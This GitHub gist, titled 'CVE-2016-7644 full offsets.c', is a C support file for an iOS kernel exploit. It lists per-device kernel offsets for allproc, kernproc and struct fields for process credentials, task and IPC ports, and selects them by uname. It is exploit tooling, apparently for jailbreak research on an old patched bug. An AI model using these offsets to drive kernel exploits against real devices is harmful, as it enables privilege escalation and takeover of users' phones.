Skip to content

Instantly share code, notes, and snippets.

@Mila432

Mila432/offsets.c

Created December 18, 2016 21:59
Show Gist options
  • Save Mila432/d38a6714a008393a1994ac49a19fe2c1 to your computer and use it in GitHub Desktop.
Save Mila432/d38a6714a008393a1994ac49a19fe2c1 to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2016-7644 full offsets.c
Raw
offsets.c
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/utsname.h>
#include "offsets.h"
// offsets from the main kernel 0xfeedfacf
uint64_t allproc_offset;
uint64_t kernproc_offset;
// offsets in struct proc
uint64_t struct_proc_p_pid_offset;
uint64_t struct_proc_task_offset;
uint64_t struct_proc_p_uthlist_offset;
uint64_t struct_proc_p_ucred_offset;
uint64_t struct_proc_p_comm_offset;
// offsets in struct kauth_cred
uint64_t struct_kauth_cred_cr_ref_offset;
// offsets in struct uthread
uint64_t struct_uthread_uu_ucred_offset;
uint64_t struct_uthread_uu_list_offset;
// offsets in struct task
uint64_t struct_task_ref_count_offset;
uint64_t struct_task_itk_space_offset;
// offsets in struct ipc_space
uint64_t struct_ipc_space_is_table_offset;
// offsets in struct ipc_port
uint64_t struct_ipc_port_ip_kobject_offset;
void init_arm64() {
struct_proc_p_pid_offset = 0x10;
struct_proc_task_offset = 0x18;
struct_proc_p_uthlist_offset = 0x98;
struct_proc_p_ucred_offset = 0x100;
struct_proc_p_comm_offset = 0x26c;
struct_kauth_cred_cr_ref_offset = 0x10;
struct_uthread_uu_ucred_offset = 0x168;
struct_uthread_uu_list_offset = 0x170;
struct_task_ref_count_offset = 0x10;
struct_task_itk_space_offset = 0x300;
struct_ipc_space_is_table_offset = 0x20;
struct_ipc_port_ip_kobject_offset = 0x68;
}
//here
void init_iPad4_7_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone9_2_T8010() {
allproc_offset = 0x5ec178;
kernproc_offset = 0x5f20e0;
}
void init_iPad4_5_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad5_1_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_1_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad5_3_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPad4_8_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_3_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_9_T7001() {
allproc_offset = 0x5b4228;
kernproc_offset = 0x5ba0e0;
}
void init_iPad5_1_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_1_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone8_4_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPad6_3_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPad6_4_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPad5_3_T7001() {
allproc_offset = 0x5b4228;
kernproc_offset = 0x5ba0e0;
}
void init_iPad4_9_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_2_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPad5_4_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPad4_8_T7001() {
allproc_offset = 0x5b4228;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone8_2_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_6_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPhone9_4_T8010() {
allproc_offset = 0x5ec178;
kernproc_offset = 0x5f20e0;
}
void init_iPhone8_2_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPad4_7_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_7_T7001() {
allproc_offset = 0x5b4228;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_2_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPad5_2_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone6_1_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_2_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad5_2_T7001() {
allproc_offset = 0x5b4228;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone6_2_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad6_8_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_4_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPhone8_1_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPhone9_1_T8010() {
allproc_offset = 0x5ec178;
kernproc_offset = 0x5f20e0;
}
void init_iPad5_4_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPhone9_3_T8010() {
allproc_offset = 0x5ec178;
kernproc_offset = 0x5f20e0;
}
void init_iPad5_3_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad5_1_T7001() {
allproc_offset = 0x5b4228;
kernproc_offset = 0x5ba0e0;
}
void init_iPad5_4_T7001() {
allproc_offset = 0x5b4228;
kernproc_offset = 0x5ba0e0;
}
void init_iPod7_1_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPad6_7_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPhone8_1_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPad4_8_T7000() {
allproc_offset = 0x5b4168;
kernproc_offset = 0x5ba0e0;
}
void init_iPhone7_1_S8000() {
allproc_offset = 0x5a4148;
kernproc_offset = 0x5aa0e0;
}
void init_iPad4_9_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
void init_iPad5_2_S5L8960X() {
allproc_offset = 0x5a4128;
kernproc_offset = 0x5aa0e0;
}
//here end
void unknown_build() {
printf("This is an unknown kernel build - the offsets are likely to be incorrect and it's very unlikely this exploit will work\n");
printf("You need to find these two kernel symbols:\n");
printf(" allproc\n");
printf(" kernproc\n\n");
printf("and update the code\n");
}
void init_offsets() {
struct utsname u = { 0 };
int err = uname(&u);
if (err == -1) {
printf("uname failed - what platform is this?\n");
printf("there's no way this will work, but trying anyway!\n");
init_iPad4_3_S5L8960X();
return;
}
printf("sysname: %s\n", u.sysname);
printf("nodename: %s\n", u.nodename);
printf("release: %s\n", u.release);
printf("version: %s\n", u.version);
printf("machine: %s\n", u.machine);
init_arm64();
if (strstr(u.machine, "iPad4,7")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPad4,7 T7000 matched\n");
init_iPad4_7_T7000();
return;
}
}
if (strstr(u.machine, "iPhone9,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
printf("device iPhone9,2 T8010 matched\n");
init_iPhone9_2_T8010();
return;
}
}
if (strstr(u.machine, "iPad4,5")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,5 S5L8960X matched\n");
init_iPad4_5_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad5,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad5,1 S5L8960X matched\n");
init_iPad5_1_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad4,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,1 S5L8960X matched\n");
init_iPad4_1_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad5,3")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPad5,3 T7000 matched\n");
init_iPad5_3_T7000();
return;
}
}
if (strstr(u.machine, "iPad4,8")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,8 S5L8960X matched\n");
init_iPad4_8_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad4,3")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,3 S5L8960X matched\n");
init_iPad4_3_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad4,9")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
printf("device iPad4,9 T7001 matched\n");
init_iPad4_9_T7001();
return;
}
}
if (strstr(u.machine, "iPad5,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPad5,1 T7000 matched\n");
init_iPad5_1_T7000();
return;
}
}
if (strstr(u.machine, "iPhone7,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPhone7,1 T7000 matched\n");
init_iPhone7_1_T7000();
return;
}
}
if (strstr(u.machine, "iPhone8,4")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPhone8,4 S8000 matched\n");
init_iPhone8_4_S8000();
return;
}
}
if (strstr(u.machine, "iPad6,3")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPad6,3 S8000 matched\n");
init_iPad6_3_S8000();
return;
}
}
if (strstr(u.machine, "iPad6,4")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPad6,4 S8000 matched\n");
init_iPad6_4_S8000();
return;
}
}
if (strstr(u.machine, "iPad5,3")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
printf("device iPad5,3 T7001 matched\n");
init_iPad5_3_T7001();
return;
}
}
if (strstr(u.machine, "iPad4,9")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPad4,9 T7000 matched\n");
init_iPad4_9_T7000();
return;
}
}
if (strstr(u.machine, "iPhone7,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPhone7,2 S8000 matched\n");
init_iPhone7_2_S8000();
return;
}
}
if (strstr(u.machine, "iPad5,4")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPad5,4 T7000 matched\n");
init_iPad5_4_T7000();
return;
}
}
if (strstr(u.machine, "iPad4,8")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
printf("device iPad4,8 T7001 matched\n");
init_iPad4_8_T7001();
return;
}
}
if (strstr(u.machine, "iPhone8,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPhone8,2 S8000 matched\n");
init_iPhone8_2_S8000();
return;
}
}
if (strstr(u.machine, "iPad4,6")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,6 S5L8960X matched\n");
init_iPad4_6_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPhone9,4")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
printf("device iPhone9,4 T8010 matched\n");
init_iPhone9_4_T8010();
return;
}
}
if (strstr(u.machine, "iPhone8,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPhone8,2 T7000 matched\n");
init_iPhone8_2_T7000();
return;
}
}
if (strstr(u.machine, "iPad4,7")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,7 S5L8960X matched\n");
init_iPad4_7_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad4,7")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
printf("device iPad4,7 T7001 matched\n");
init_iPad4_7_T7001();
return;
}
}
if (strstr(u.machine, "iPhone7,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPhone7,2 T7000 matched\n");
init_iPhone7_2_T7000();
return;
}
}
if (strstr(u.machine, "iPad5,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPad5,2 T7000 matched\n");
init_iPad5_2_T7000();
return;
}
}
if (strstr(u.machine, "iPhone6,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPhone6,1 S5L8960X matched\n");
init_iPhone6_1_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad4,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,2 S5L8960X matched\n");
init_iPad4_2_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad5,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
printf("device iPad5,2 T7001 matched\n");
init_iPad5_2_T7001();
return;
}
}
if (strstr(u.machine, "iPhone6,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPhone6,2 S5L8960X matched\n");
init_iPhone6_2_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad6,8")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPad6,8 S8000 matched\n");
init_iPad6_8_S8000();
return;
}
}
if (strstr(u.machine, "iPad4,4")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,4 S5L8960X matched\n");
init_iPad4_4_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPhone8,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPhone8,1 S8000 matched\n");
init_iPhone8_1_S8000();
return;
}
}
if (strstr(u.machine, "iPhone9,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
printf("device iPhone9,1 T8010 matched\n");
init_iPhone9_1_T8010();
return;
}
}
if (strstr(u.machine, "iPad5,4")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad5,4 S5L8960X matched\n");
init_iPad5_4_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPhone9,3")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T8010")) {
printf("device iPhone9,3 T8010 matched\n");
init_iPhone9_3_T8010();
return;
}
}
if (strstr(u.machine, "iPad5,3")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad5,3 S5L8960X matched\n");
init_iPad5_3_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad5,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
printf("device iPad5,1 T7001 matched\n");
init_iPad5_1_T7001();
return;
}
}
if (strstr(u.machine, "iPad5,4")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7001")) {
printf("device iPad5,4 T7001 matched\n");
init_iPad5_4_T7001();
return;
}
}
if (strstr(u.machine, "iPod7,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPod7,1 T7000 matched\n");
init_iPod7_1_T7000();
return;
}
}
if (strstr(u.machine, "iPad6,7")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPad6,7 S8000 matched\n");
init_iPad6_7_S8000();
return;
}
}
if (strstr(u.machine, "iPhone8,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPhone8,1 T7000 matched\n");
init_iPhone8_1_T7000();
return;
}
}
if (strstr(u.machine, "iPad4,8")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_T7000")) {
printf("device iPad4,8 T7000 matched\n");
init_iPad4_8_T7000();
return;
}
}
if (strstr(u.machine, "iPhone7,1")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S8000")) {
printf("device iPhone7,1 S8000 matched\n");
init_iPhone7_1_S8000();
return;
}
}
if (strstr(u.machine, "iPad4,9")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad4,9 S5L8960X matched\n");
init_iPad4_9_S5L8960X();
return;
}
}
if (strstr(u.machine, "iPad5,2")) {
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64_S5L8960X")) {
printf("device iPad5,2 S5L8960X matched\n");
init_iPad5_2_S5L8960X();
return;
}
}
printf("don't recognize this platform\n");
unknown_build();
init_iPad4_3_S5L8960X(); // this won't work!
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment